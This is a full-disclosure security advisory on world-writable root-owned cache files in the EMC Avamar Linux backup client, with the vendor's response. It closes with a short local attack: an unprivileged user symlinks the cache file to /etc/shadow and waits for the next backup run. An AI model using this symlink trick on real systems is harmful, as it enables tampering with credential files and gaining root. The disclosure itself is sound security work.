EMC Avamar: World writable cache files

[fulldisclosure <fulldisclosure@xxxxxxxxxx>]

Product: Avamar backup client for Linux (Proberly also Unix but not tested)
Vendor: EMC (http://www.emc.com)
Tested version: 6.1.100-402 (Latest)
Vendor Notification: December 17, 2012
Vender Patch: None
Vender Workaround: <quote>workaround is to run a script at the end of each 
backup which set the files permissions to be read/write for the owner 
only</quote>
Vender Response: Will maybe be patched in version 7 mid-2013 since EMC does not 
patch for security
Solution Status: None
Risk Level: High

Details:

The avamar client runs as root and after each backup it leavs the cache files 
as world writable:

# ls -latr /var/avamar/f_cache.dat 
-rw-rw-rw- 1 root root 11534880 Dec 17 10:30 /var/avamar/f_cache.dat
# ls -latr /var/avamar/p_cache.dat 
-rw-rw-rw- 1 root root 3146272 Dec 17 10:30 /var/avamar/p_cache.dat

Fun && profit:

# id
uid=1000(slave) gid=1000(slave) groups=1000(slave)
# cd /var/avamar
# ln -sf /etc/shadow p_cache.dat

and wait for the next backup window.